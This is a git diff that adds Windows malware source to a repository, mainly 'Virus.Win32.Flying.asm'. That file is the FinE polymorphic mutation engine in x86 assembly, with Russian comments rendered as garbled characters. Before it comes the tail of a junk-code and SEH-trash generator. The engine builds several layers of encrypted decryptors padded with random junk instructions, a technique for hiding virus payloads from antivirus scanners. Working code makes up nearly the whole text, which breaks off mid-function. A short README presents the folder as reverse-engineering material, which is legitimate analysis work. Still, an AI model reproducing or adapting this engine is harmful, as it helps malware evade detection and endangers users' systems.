ptr [edi],12h+ mov dword ptr [edi+4],0h+ add edi,0ah-2+ lea esi,_mov_dreg_num+ call garbage_hand+ add dword ptr [esp+PUSHA_STRUCT._EDX],0ah+ add [esp+PUSHA_STRUCT_SIZE],0ah+ add edi,2+ mov dword ptr [edi],16h+ mov dword ptr [edi+4],0h+ add edi,0ah-2+ lea esi,_add_dreg_num+ call garbage_hand+ add dword ptr [esp+PUSHA_STRUCT._EDX],0ah+1+ add [esp+PUSHA_STRUCT_SIZE],0ah+1+ add edi,2+ mov dword ptr [edi],0b8h+ add edi,4+ mov dword ptr [where_over],edi+ add edi,0ah-6+ mov byte ptr [edi],0C3h ; ret+ inc edi+ popad+ mov byte ptr [ebx+1],dl+ sub byte ptr [ebx+1],5+ mov eax,x1_tbl_size+ call random_eax+ rep stosb+ pop edi+ lea esi,_i_xor_r+ call garbage_hand+ add edi,eax+ add edx,eax+ mov byte ptr [edi],FS_PREFIX+ inc edi+ inc edx+ lea esi,seh_push_fs+ call garbage_hand+ add edi,eax+ add edx,eax+ mov byte ptr [edi],FS_PREFIX+ inc edi+ inc edx+ lea esi,seh_mov_fs+ call garbage_hand+ add edi,eax+ add edx,eax+ call reset_regs+ xor ebx,ebx+ mov eax,exception_table_size+ call random_eax+ mov cl,byte ptr exception_table[eax]+ mov byte ptr [edi],cl+ inc edx+ inc edi+ inc ebx+ call fill_trash+ add edx,eax+ add ebx,eax+ add edi,eax+ push edi+ mov edi,dword ptr [where_over]+ mov dword ptr [edi],ebx+ pop edi+ call finalize_seh+ add edx,eax+ mov [esp+PUSHA_STRUCT._EAX],edx+ popad+ ret++++where_over dd 0+allowed_regs_temp db x1_tbl_size dup (0)+++++finalize_seh:+ pushad+ call gen_regs+ xor edx,edx+ lea esi,_i_xor_r+ call garbage_hand+ add edi,eax+ add edx,eax+ mov byte ptr [edi],FS_PREFIX+ inc edi+ inc edx+ lea esi,seh_pop_fs+ call garbage_hand+ add edi,eax+ add edx,eax+ call reset_regs+ inc dword ptr [push_number]+ lea esi,_i_pop+ call garbage_hand+ add edx,eax+ add edi,eax+ mov [esp+PUSHA_STRUCT._EAX],edx+ popad+ ret++fill_trash: pushad+ xor ebx,ebx+ mov eax,20+ call random_eax+ mov ecx,eax+ test eax,eax+ jz done_fill_trash++fill_trash_x: mov eax,0FFh+ call random_eax+ stosb+ inc ebx+ loop fill_trash_x++done_fill_trash:+ mov [esp+PUSHA_STRUCT._EAX],ebx+ popad+ ret++reset_regs:+ pushad+ lea esi,allowed_regs_temp+ mov ecx,x1_tbl_size+ lea edi,allowed_regs+ rep movsb+ popad+ ret+++gen_regs: pushad+ mov eax,x1_tbl_size+ call random_eax+ lea edi,allowed_regs+ mov ecx,x1_tbl_size+ rep stosb+ popad+ ret+++set_random: pushad+ mov eax,6+ call random_eax+ cmp eax,5+ jne not_set+ call gen_bjumps+ jmp le_set++not_set: xor eax,eax+le_set: mov [esp+PUSHA_STRUCT._EAX],eax++ popad+ ret+++random_setup proc++ @callx GetTickCount+ mov Random_Seed,eax+ ret++random_setup endp++Random_Seed dd 0++random_eax proc++ PUSH ECX+ PUSH EDX+ PUSH EAX+ db 0Fh, 31h ; RDTSC+ MOV ECX, Random_Seed+ ADD EAX, ECX+ ROL ECX, 1+ ADD ECX, 666h+ MOV Random_Seed, ECX+ PUSH 32+ POP ECX++CRC_Bit: SHR EAX, 1+ JNC Loop_CRC_Bit+ XOR EAX, 0EDB88320h++Loop_CRC_Bit: LOOP CRC_Bit+ POP ECX+ XOR EDX, EDX+ DIV ECX+ XCHG EDX, EAX+ OR EAX, EAX+ POP EDX+ POP ECX+ RETN+random_eax endpdiff --git a/Malwares/Win32/win32 Engines/assembly/README.md b/Malwares/Win32/win32 Engines/assembly/README.mdnew file mode 100644index 0000000..a470008--- /dev/null+++ b/Malwares/Win32/win32 Engines/assembly/README.md@@ -0,0 +1,3 @@++# Engines in assembly language+Assembly language -- Ghidra and IDApro perfect for reverse engineeringdiff --git a/Malwares/Win32/win32 Engines/assembly/Virus.Win32.Flying.asm b/Malwares/Win32/win32 Engines/assembly/Virus.Win32.Flying.asmnew file mode 100644index 0000000..9085e69--- /dev/null+++ b/Malwares/Win32/win32 Engines/assembly/Virus.Win32.Flying.asm@@ -0,0 +1,1107 @@+;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;+; ;+; ;+; xxxxxxxxxxx xxxxxxxxxxx ;+; xxxxxxxxxxx xxxxxxxxxxx ;+; xxxx xxxx xxxxxxxxxx xxxx ;+; xxxx xxxx xxxxxxxxxxx xxxx ;+; xxxxxxxx xxxx xxxx xxxxxxxx ;+; xxxxxxxx xxxx xxxx xxxx xxxxxxxx ;+; xxxx xxxx xxxx xxxx xxxx ;+; xxxx xxxx xxxx xxxx xxxx ;+; xxxx xxxx xxxx xxxx xxxxxxxxxxx ;+; xxxx xxxx xxxx xxxx xxxxxxxxxxx ;+; ;+; ;+;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;+; Flying mutatIoN Engine ;+; FinE ;+;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;+; ;+; :)! ;+; ;+;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;+; ;+; ������� FINE ;+; �������� ����������� ������ ;+; ;+; ;+;����: ;+;1 �������� (� ������������) - ����� ��������� (MORPHGEN) (�� �������� ������ ����) ;+;--------------------------------------------------------------------------------------------------------;+;�����: ;+;EAX - ����� ���������� ���������� � ������������� ����� ;+;ECX - ������ ���������� ���������� � ������������� ����� ;+;+ ������ ���� �� ������ � ����. ���� ��������� (������ ����) ;+;--------------------------------------------------------------------------------------------------------;+;�������: ;+;���������, ��������� �� ������� ������� � �������� ���������, �� ��������, �.�. ������ � ��� ����� ;+;������ ������������ ������ �������� ���� �� (�����, �����, ���������� ��������������� ��� ���������). ;+; ;+;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;+; ;+; ! ;+; ;+;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;+; ;+; �������� ��������� ;+; MORPHGEN ;+; (0 - ������� ��������, 1 - ��������) ;+; ;+; ;+;MORPHGEN struct ;+; rgen_addr dd ? ;����� ���������� ��������� ����� (���) (0) ;+; tgen_addr dd ? ;����� ���������� �������� ���������� (0) ;+; cryptcode_addr dd ? ;����� ����, ������� ���� ����������� (0) ;+; size_cryptcode dd ? ;������ ����, ������� ���� ����������� (0) ;+; pa_buf_for_morph dd ? ;���. ����� ������, ���� �������� ��������� � ����������� ����� (0) ;+; va_buf_for_morph dd ? ;����. ����� ������, ���� �������� ��������� � ����������� ����� (0) ;+; buf_with_morph dd ? ;���. �����, ��� ���������� ��������� ��������� � ����������� ����� (1) ;+; size_morph dd ? ;������ ������ ��� ���������� ���������� � ����������� ����� (1) ;+; mapped_addr dd ? ;��������������� (���� ���� ������� (��� ����� ����� � ������)) (0) ;+; reserv1 dd ? ;��������������� (0) ;+;MORPHGEN ends ;+; ;+;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;+; ;+; �������� ��������� ;+; TGEN ;+; (aka TRASHGEN) ;+; (����� ��������� �������� ������ � ������ xTG) ;+; ;+; ;+;TRASHGEN struct ;+; rgen_addr dd ? ;����� ���������� ��������� ����� (���) ;+; buf_for_trash dd ? ;����� (�����), ���� ���������� ������������ (���, ������������) ������ ;+; size_trash dd ? ;������ (� ������), ������� ������ �������� ;+; regs dd ? ;������� �������� (2 ��) ;+; xmask1 dd ? ;64-������ ����� ��� ��������� ;+; xmask2 dd ? ;�������� ������ (��� ������) ;+; beg_addr dd ? ;��������� ����� ;+; end_addr dd ? ;�������� ����� ;+; mapped_addr dd ? ;��������������� (���� ���� ������� (��� ����� ����� � ������)) ;+; reserv1 dd ? ;��������������� (��, ����� �����-�� ��� ��� � �����) ;+;TRASHGEN ends ;+; ;+;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;+; ;+; ! ;+; ;+;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;+; ;+; ��������� � ����� ��������� MORPHGEN: ;+; ;+; ;+;[ rgen_addr ] : ;+; ��� ��� ������ ������ (FINE) ���������� ��� �������� � ������-���� ������� ������, ;+; � ��� ��������� ������ (� ��������� ������ ���) ����� ���, ������� ����� ��� ;+; �������� � (������) ���� ���������. ;+; �����: ���� ����� FINE ����� ������������ ������ ��� (� �� ���, ������� ;+; ���� � ��� � ���������), ����, ����� ���� ������ ��� �������� � �������� 1-�� ;+; (� �������������!) ��������� � ����� ����� (������� ��� N), ��� ��� ����� ����� � ;+; ��������� [0..n-1]. � �� ������ ������ ��� ������ ���������� � EAX ��������� �����. ;+; ��������� �������� ������ �������� �����������. ���. ;+;--------------------------------------------------------------------------------------------------------;+;[ tgen_addr ] : ;+; ����������, ��� � � ���������� ����� ���������. ������ ����� ��������� ������ ;+; ������ ���� �������� � ����, ��� xTG (� �������� ����� ����� ���������� ���� � ��� ;+; ���-���). ;+;--------------------------------------------------------------------------------------------------------;+;[ cryptcode_addr ] ;+; & ;+;[ size_cryptcode ]: ;+; �����, ����� � ��� ��� ����. ;+;--------------------------------------------------------------------------------------------------------;+;[pa_buf_for_morph] : ;+; � ���� ���� �������� ���������� ����� ����������� ������ ��� �������� ����������. ;+; ����� ����� �������� �������� VirtualAlloc etc (��� ������). ���� �� ������ ;+; ��������� � ������ ������, ������ ����� ������ ����� ����� �����: ;+; 0x3000 + ������ ����, ������� ���� ����������� (������ ���� � �������). ;+; ����� ����� �������, ���: ;+; 1) ���������� ����� ������ ���� �������, �.�. �������� ������ �� ������� ���� ;+; (��-�� ��������� ������� ������ (������ ���������)); ;+; 2) ��� ������, ������� ����� �������� ��� ������� ������? �������: ������, ;+; ( ������ ����, ������� ���� ����������� ) ;+; + ;+; ( 30 (max ���-�� �������� ������, ���, �� �� ������� �� ���������) * ;+; ������ ������ ) ;+; + ;+; ( 15 (��� ����� �������� �������) *30 ) ;+; + ;+; �� ������ ������ ;+; ������, ����� ���: ���� ���������, ������ ������ ������ �����. ;+; ���: ���� ������������ ��������������������, �� ���� �������� ��� ������ �����. ;+; ���: ���� �� ������ �������, � �������, 3 ���������� c ������� ������ 100 ����, ;+; �� ����� ����� �������� 0x5000 ���� + ������ ����, ������� ���� �����������. ;+; �����, ���� ����, ��� ����������. ;+;--------------------------------------------------------------------------------------------------------;+;[va_buf_for_morph] : ;+; � ���� ���� ����� ����� ����� 0. ������ �������������� ��� ������ ������� call � ;+; ���������� �� ���������������� �������. ;+;--------------------------------------------------------------------------------------------------------;+;[ buf_with_morph ]: ;+; � ��� ���� �������� �����, ��� ���������� ������ ��� ��������� ��������� � ;+; ����������� �����. ���. ;+;--------------------------------------------------------------------------------------------------------;+;[ size_morph ] : ;+; � ��� ���� �������� ������ (����� ����). � ��� ��� �������. ;+;--------------------------------------------------------------------------------------------------------;+;[ mapped_addr ] : ;+; � ��� ���� �������� ���� ������� (��� ����� ����� � ������). �� ������ ������ � ��� ;+; ���� ����� ���� ����� 0 ��� ��� ������. ������, ������, ��� ��� ���� ;+; ���������������. ����� ���. ;+; ;+;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;+; ;+; y0p! ;+; ;+;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;+; ;+; ���� ;+; ;+; ;+;(+) ��������� ��������� ��������� ;+;--------------------------------------------------------------------------------------------------------;+;(+) ��������� ��������� ������ ��� ���������� ;+;--------------------------------------------------------------------------------------------------------;+;(+) ������ ���������� ������ ������ ;+;--------------------------------------------------------------------------------------------------------;+;(+) ������� ���������� ����� ���������������� ����������� ;+;--------------------------------------------------------------------------------------------------------;+;(+) ������� ���������� ����� �� ���� ���� �� ������ (������ jmp'���) ;+;--------------------------------------------------------------------------------------------------------;+;(+) ������������� ��� � ���������� ������ (�������� �����, ��� ��� ������ ����������) ;+;--------------------------------------------------------------------------------------------------------;+;(+) ��������� ���������� ���������� ���� (ADD/SUB/XOR) ;+;--------------------------------------------------------------------------------------------------------;+;(+) �������������������� (����� ����� �������� ��������� ����� ���������� �����������) ;+;--------------------------------------------------------------------------------------------------------;+;(+) ����������������� ;+;--------------------------------------------------------------------------------------------------------;+;(+) ��� �������� � ������ ������� (��� & trashgen ����� ����� ����� - ������� ����� ����;) ;+; * ����� ��������� ��� ��������������� ������; ;+;--------------------------------------------------------------------------------------------------------;+;(+) �� ����� WinAPI ;+;--------------------------------------------------------------------------------------------------------;+;(+) �� ���������� ������ � ������-��������, ����� ��� ������� �����. ;+; ;+;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;+; ;+; y0p! ;+; ;+;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;+; ;+; �������������: ;+; ;+; ;+;1) �����������: ;+; FinE.asm ;+;2) ����� (������ stdcall): ;+; ... ;+; szBuf db 100 dup (00h) ;+; szBuf2 db 5000h dup (00h) ;! ����������� ��������! ;+; ... ;+; lea ecx,szBuf ;+; lea edx,szBuf2 ;+; assume ecx:ptr MORPHGEN ;+; mov [ecx].rgen_addr,00401000h ;�� ����� ������ ������ ���������� ��� ;+; mov [ecx].tgen_addr,00401300h ;�� ����� ������ ������ ���������� ������� ;+; mov [ecx].cryptcode_addr,00402000h ;�� ����� ������ ��������� ���, ������� �� ���������� ;+; mov [ecx].size_cryptcode,100 ;������ ����� ���� ;+; mov [ecx].pa_buf_for_morph,edx ;����� ��� �������� ���������� � ����������� ����� ;+; mov [ecx].va_buf_for_morph,0 ;��� ���� ���� ��� �� �������, ������� ������ ����� 0. ;+; ;[ecx].buf_with_morph - �������� �������� ;+; ;[ecx].size_morph - �������� �������� ;+; ;��������� ��������� ��������. ;+; call FINE ;�������� ����������� ������ ;+; ;+;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;+; ;+; ������ ����������: ;+; ;+; ;+; call imm32 ;����� ����������� ������� ��������������� ���������� ;+; pop reg1 ;� ����������� � �������� reg1 ;+; push imm32 ;� ���� �������� ������ ����, ������� ���� ������������ ;+; add reg1,imm32 ;������� reg1 ��������� �� ����� ����, ������� ���� ������������ ;+; mov reg2,imm32 ;� reg2 ���������� ���� ��� ����������� ���� ;+; --> xor/add/sub [reg1],reg2 ;����������� ���� ;+; | xor/add/sub reg2,imm32 ;���� ���������� �������� ���������� ;+; | dec reg1 ;��������� �� 1 reg1 ;+; | dec [esp] ;��������� �� 1 ������ ;+; ----jne imm32 ;������� �� ����������� ���� ;+; pop reg ;��������������� ���� ;+; ;+;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;+;v1.0.1+;������� ������ ������� �����, ������� �������� ������� � ���.+++++ ;m1x+ ;EOF++++++;========================================================================================================++;========================================================================================================+;��������� MORPHGEN, ����������� ��� ������� ����������+;========================================================================================================+MORPHGEN struct+ rgen_addr dd ?+ tgen_addr dd ?+ cryptcode_addr dd ?+ size_cryptcode dd ?+ pa_buf_for_morph dd ?+ va_buf_for_morph dd ?+ buf_with_morph dd ?+ size_morph dd ?+ mapped_addr dd ?+ reserv1 dd ?+MORPHGEN ends++;========================================================================================================+;��������� TGEN, ����������� ��� ������� ���������� (aka TRASHGEN, �������� ������ � xTG)+;========================================================================================================+TGEN struct+ rgen_addr dd ?+ buf_for_trash dd ?+ size_trash dd ?+ regs dd ?+ xmask1 dd ?+ xmask2 dd ?+ beg_addr dd ?+ end_addr dd ?+ mapped_addr dd ?+ reserv1 dd ?+TGEN ends+;========================================================================================================++num_decrypts equ 3 ;���������� ����������� �����������+mtrash1 equ 0FFFFFFFFh ;����� ��� �������� (���� �� �� �����) - ����� ��������� ��� ��������� ������������������ ������ ��� ��������� �����+mtrash2 equ 000h ;������ �������� �����++num_general_instr equ 11 ;���������� �������� ������ (������ ����������, �� ���� ������ ����� ����)+size_general_instr equ 15 ;������������ ������ ����� �������� ������� (����� ���������, � ������� �� 10 etc)+num_steps equ 30 ;������� (� ��� ����� ����)+portion equ 100 ;���� ������ ������+max_portion equ portion*num_general_instr+size_general_instr*num_general_instr ;������������ ������ ����� ������ ������) - ��� ������ ��� ��������, ��� ������ �����������, ��� ������� ������������ � ��������� ������� (������ ��������)+min_portion equ 50 ;����������� ������ ������ ������++addr1 equ 000h ;��������� � �������� ������ ��� �������� (���� �� �� �����)+addr2 equ 000h++;========================================================================================================+++++++++FINE:+ pushad ;save all regs+ cld+ mov edx,dword ptr [esp+24h] ;� edx - ��������� �� c�������� MORPHGEN+ assume edx:ptr MORPHGEN+ mov ecx,[edx].size_cryptcode ;ecx - ������ ����, ������� ���� �����������+ mov esi,[edx].cryptcode_addr ;esi - ����� ����� ����+ mov edi,[edx].pa_buf_for_morph ;edi - ����� (�� �� �����), ���� ������� ��������� � ������������� �����+ xor eax,eax ;����� ������ � ���� (� ��������� ��������� ����) ��������� TGEN (aka TRASHGEN)+ push eax ;reserv1+ push [edx].mapped_addr ;mapped_addr+ push addr2 ;end_addr+ push addr1 ;beg_addr (��� ��� ����� � ������ xTG)+ push mtrash2 ;64-������ ����� ��� ��������� ������+ push mtrash1+ push eax;regs ;�������� (���� ������ ����, � ��������� �������� �����, ������ ���������)+ push eax;portion ;������ ������, ������� ���� �������������+ push eax;buf_for_trash ;�����, ���� ���������� ������ ������+ push [edx].rgen_addr ;���+ mov ebp,esp ;���������� �� ������ ��������� ����� ������� ebp+ assume ebp:ptr TGEN ;[ebp+-00]+ mov eax,num_decrypts ;���������� �����������+_next_decrypt_:+ push eax ;[ebp-04]+ call morph ;[ebp-08] ;�������� ������� �������� ���� ���������� � ����������� �����+ mov esi,edi ;esi ������ ������ ������ ������ ��� ���������� ����������+ add edi,ecx ;edi ��������� �� ����� ������ ��� ���������� ���������� + ����������� �����+ pop eax+ dec eax ;��������� �������+ jnz _next_decrypt_ ;���� ����� ��� �������� ���������?+ add esp,10*4 ;����� ��� ��� ���� ��������, ����������� ����+ sub edi,ecx ;������������ edi �� ������ ���������� ���������� ����������+ mov [edx].buf_with_morph,edi ;�������� ��� �������� � ���������+ mov [edx].size_morph,ecx ;� ����� �������� ������ ������� ���������� + ������������ ������+ mov dword ptr [esp+1Ch],edi ;EAX=EDI+ mov dword ptr [esp+18h],ecx ;ECX=ECX+ popad ;��������������� ��������+ ret 4 ;�������+;========================================================================================================+morph:+ call gen_reg ;�������� ������� ��������� ������� ��������� (������������) (2 ��)+ push edi ;[ebp-12] ��������� edi � �����+ push portion ;����������� � ����� ������ 1-�� ������ ������+ call [edx].rgen_addr+ add eax,41 ;�� ��������+ call gen_trash+;--------------------------------------------------------------------------------------------------------+ push edi ;[ebp-16] ;����� ����� ����� ���������� (����� ��� ������ ���������� ���������� ������)+ push edi ;[ebp-20] ;����� ����� ����� call $+5 (���������� ����� � reg1)+ call instr___call ;CALL $+value++ call instr___pop__reg ;POP reg1++ call instr___push__imm ;PUSH <size>++ push edi ;[ebp-24] ;�������� ��� ����� (� ������������� ������� ��� ��������� �������������), ����� ����� �������� ���������� ������ ����� �� ����� ������+ call instr___add__reg_imm ;ADD reg1,<trash+size=����� ����� ������������� ����>++ push edi ;[ebp-28] ;�������� � ��� �����, ����� ����� ������ ����1, �� �������� � ����� �������������� ������ (���)+ call instr___mov__reg_imm ;MOV reg2,key1++ push edi ;[ebp-32] ;�������� ����� � ���� �����, ��� �������� ������� ����� ��������� ������ ����+ push edi ;[ebp-36] ;����� �������� ����� - ����� ��� ��������� �����+ call instr___addxorsub__addrreg_reg ;ADD/XOR/SUB dword ptr [reg1],reg2++ push edi ;[ebp-40] ;���� ����� ������ ����2, �� ���� ���� ����� ���������� ����1+ push edi ;[ebp-44] ;����� �������� 2-�� ����� - ����� 2-�� ���� ��� ��������� 1-��� ����� �����+ call instr___addxorsub__reg_imm ;ADD/XOR/SUB reg2,key2++ call instr___dec__reg ;DEC reg1++ call instr___dec__addresp ;DEC dword ptr [esp], JNE <value32>++ call instr___pop__reg ;POP reg+;--------------------------------------------------------------------------------------------------------+ push portion+ call [edx].rgen_addr ;��������� ������� ���������, ������� ������ (� ������) ��������+ push eax+ add eax,ecx ;������� ������ ������, ������� ���� ����� ������������ �����������+ call goto_free_addr ;� ������� ������� ��������� ���������� ���������� ������ � �������� (�������) ����������, � �� ����� ������ � ����� ������ ����������++ add eax,(max_portion+portion+portion+min_portion) ;����� ������������� (����� ��� ��������� ����������) ������ ������+ add dword ptr [ebp-16],eax ;� ������� � ������������� ������ (�� ��������� ������ �� ��������� �����, ���� ����� ���������� ��������� ��������� etc)+ pop eax+ call gen_trash ;���������� ������ ������+;--------------------------------------------------------------------------------------------------------+ push -1+ call [edx].rgen_addr+ xchg eax,ebx ;� ebx ������ �������� ����1+ push -1+ call [edx].rgen_addr+ push eax ;[ebp-48] ;� � ����� ������ �������� ����2+;--------------------------------------------------------------------------------------------------------+ mov eax,dword ptr [esi] ;� �������� ��������� ���+ add esi,4+_crypt_:+ ;mov eax,dword ptr [esi]+ cmp dword ptr [ebp-36],1 ;optimization! ;�������, ����� �������� �������� �� ��������, � �������� ������������ ��� �����������+ jl _xor03_+ jg _add03_+_sub03_:+ sub eax,ebx+ jmp _chg_key1_++_add03_:+ add eax,ebx+ jmp _chg_key1_++_xor03_:+ xor eax,ebx++_chg_key1_:+ cmp ecx,1 ;optimization! ;�������, ��� ��������� ��������? ���� ��, �� �������� ����1 �� ����2 ��� �� ����+ je _write_crypt_data_+ cmp dword ptr [ebp-44],1 ;optimization! ;������� ����� ��� �� ������������ ��� ��������� ����1 (�� ����2)+ jl _xor04_+ jg _add04_+_sub04_:+ sub ebx,dword ptr [esp]+ jmp _write_crypt_data_++_add04_:+ add ebx,dword ptr [esp]+ jmp _write_crypt_data_++_xor04_:+ xor ebx,dword ptr [esp]++_write_crypt_data_:+ mov dword ptr [edi],eax+ inc edi+ lodsb+ ror eax,8 ;����� ��������� ����, � �������� ��������� ������+ ;inc esi+ loop _crypt_+;--------------------------------------------------------------------------------------------------------+ pop ecx ;key2++ pop eax+ pop eax+ mov dword ptr [eax],ecx ;����������� �� ����� ����� ����������� ����2 � �����, �� �������� � ������� � ��������� ������ ������++ pop eax+ pop eax+ pop eax+ mov dword ptr [eax],ebx ;����������� �� ����� �����, �� �������� � ������� � ��������� ����1++ dec edi ;������������ edi+ xchg eax,edi ;����� ����������� �����, �� �������� ���� �������� ������ ����������� ���� + ����� (�� ���� reg1 ������ ��������� �� ����� ������������ ����)+ pop edi+ pop esi+ sub eax,esi+ test byte ptr [edi-1],20h;0E8h ;����� �������, ����� ������� ���� ��������: ADD ��� SUB ? � � ���������� �� ����� �������� ���� ��������+ je _addregimm_+_subregimm_:+ neg eax+_addregimm_:+ stosd++ pop ecx ;�������� �����, �� �������� ����� ����� ���������� ����� ��������� (�� ������ ��� ���, ��� � edi)+ pop edi ;�������� ����� ������ ������ ��� ����������� ����������+ sub ecx,edi ;��������� � ��������� � ecx ������ ������ ��� ����������� ���������� + ������������ ����++ ret ;�������+;========================================================================================================++++++;=====================================[CALL $+value]=====================================================+instr___call:+ push portion+ call [edx].rgen_addr ;�������� �������� ������ 1-�� ������ ������, ������� ����� �������� � ����������+ push eax ;���������+ push portion+ call [edx].rgen_addr ;�������� �������� ������ 2-�� ������ ������+ push eax ;��������� � ���+ push portion+ call [edx].rgen_addr ;�������� �������� ������ 3-�� ������ ������+ push eax ;� ��� ����� ��������� � �����+ add eax,dword ptr [esp+4]+ add eax,dword ptr [esp+8] ;�������� ����� ������+ call goto_free_addr ;�������� ��������� ��������� ����� � ������� �������� ����������, �� �������� ��������� ������� ������ + ������ ������� (� ������ ������ ��� call $+5)+ pop eax ;����������� �� ����� ����� ����������� ������ ������+ call gen_trash ;������� �����+ mov al,0E8h ;����� ������� ������� CALL $+value+ stosb+ pop eax+ stosd+ mov dword ptr [ebp-20],edi+ call gen_trash ;���������� ��������� ������ ������+ pop eax+ call gen_trash ;etc++ ret ;�� �����+;=====================================[CALL $+value]=====================================================++++++;=======================================[POP reg1]=======================================================+instr___pop__reg:+ push portion ;etc (������ ����)+ call [edx].rgen_addr+ push eax+ push portion+ call [edx].rgen_addr+ push eax+ add eax,dword ptr [esp+4]+ call goto_free_addr+ pop eax+ call gen_trash+;--------------------------------------------------------------------------------------------------------+ push 2 ;����� �������, ����� ������� ��������?+ call [edx].rgen_addr+ test eax,eax+ je _pop__reg1_ ;POP reg1 ���+;--------------------------------------------------------------------------------------------------------+_mov__reg1_addresp___add__esp_4_: ;MOV reg1,[esp] add esp,4 ?+ mov al,8Bh+ stosb+ mov al,bh+ shl eax,3+ add al,4+ stosb+ mov al,24h+ stosb+ pop eax+ call gen_trash+ push portion+ call [edx].rgen_addr+ push eax+ push portion+ call [edx].rgen_addr+ push eax+ add eax,dword ptr [esp+4]+ call goto_free_addr+ pop eax+ call gen_trash+ mov ax,0C483h+ stosw+ mov al,04+ jmp _iprendtrash_+;--------------------------------------------------------------------------------------------------------+_pop__reg1_:+ mov al,58h+ add al,bh++_iprendtrash_:+ stosb+ pop eax+ call gen_trash+ ret+;=======================================[POP reg1]=======================================================++++++;=======================================[PUSH imm]=======================================================+instr___push__imm:+ push portion+ call [edx].rgen_addr+ push eax+ push portion+ call [edx].rgen_addr+ push eax+ add eax,dword ptr [esp+4]+ call goto_free_addr+ pop eax+ call gen_trash+;--------------------------------------------------------------------------------------------------------+ push 2 ;PUSH imm ���+ call [edx].rgen_addr ;MOV reg2,imm PUSH reg2 ?+ test eax,eax+ je _push__imm_+;--------------------------------------------------------------------------------------------------------+_mov__reg2_imm___push__reg2_:+ mov al,0B8h+ add al,bl+ stosb+ mov eax,ecx+ stosd+ pop eax+ call gen_trash+ push portion+ call [edx].rgen_addr+ push eax+ push portion+ call [edx].rgen_addr+ push eax+ add eax,dword ptr [esp+4]+ call goto_free_addr+ pop eax+ call gen_trash++ mov al,50h+ add al,bl+ stosb+ jmp _ipiendtrash_+;--------------------------------------------------------------------------------------------------------+_push__imm_:+ mov al,68h+ stosb+ mov eax,ecx+ stosd++_ipiendtrash_:+ pop eax+ call gen_trash+ ret+;=======================================[PUSH imm]=======================================================++++++;=====================================[ADD reg1,imm]=====================================================+instr___add__reg_imm:+ push portion+ call [edx].rgen_addr+ push eax+ push portion+ call [edx].rgen_addr+ push eax+ add eax,dword ptr [esp+4]+ call goto_free_addr+ pop eax+ call gen_trash+ mov al,81h+ stosb+;--------------------------------------------------------------------------------------------------------+ push 2 ;ADD reg1,imm ���+ call [edx].rgen_addr ;SUB reg1,-imm ?+ imul eax,28h+ add al,0C0h+ add al,bh+ stosb+;--------------------------------------------------------------------------------------------------------+ mov dword ptr [ebp-24],edi+ xor eax,eax+ stosd+ pop eax+ call gen_trash+ ret+;=====================================[ADD reg1,imm]=====================================================++++++;=====================================[MOV reg2,imm]=====================================================+instr___mov__reg_imm:+ push portion+ call [edx].rgen_addr+ push eax+ push portion+ call [edx].rgen_addr+ push eax+ add eax,dword ptr [esp+4]+ call goto_free_addr+ pop eax+ call gen_trash+;--------------------------------------------------------------------------------------------------------+ push 2 ;MOV reg2,imm ���+ call [edx].rgen_addr ;PUSH imm POP reg2 ?+ test eax,eax+ je _mov__reg_imm_+;--------------------------------------------------------------------------------------------------------+_push__imm___pop__reg_:+ mov al,68h+ stosb+ mov dword ptr [ebp-28],edi+ xor eax,eax+ stosd+ pop eax+ call gen_trash+ push portion+ call [edx].rgen_addr+ push eax+ push portion+ call [edx].rgen_addr+ push eax+ add eax,dword ptr [esp+4]+ call goto_free_addr+ pop eax+ call gen_trash+ mov al,58h+ add al,bl+ stosb+ jmp _mriendtrash_+;--------------------------------------------------------------------------------------------------------+_mov__reg_imm_:+ 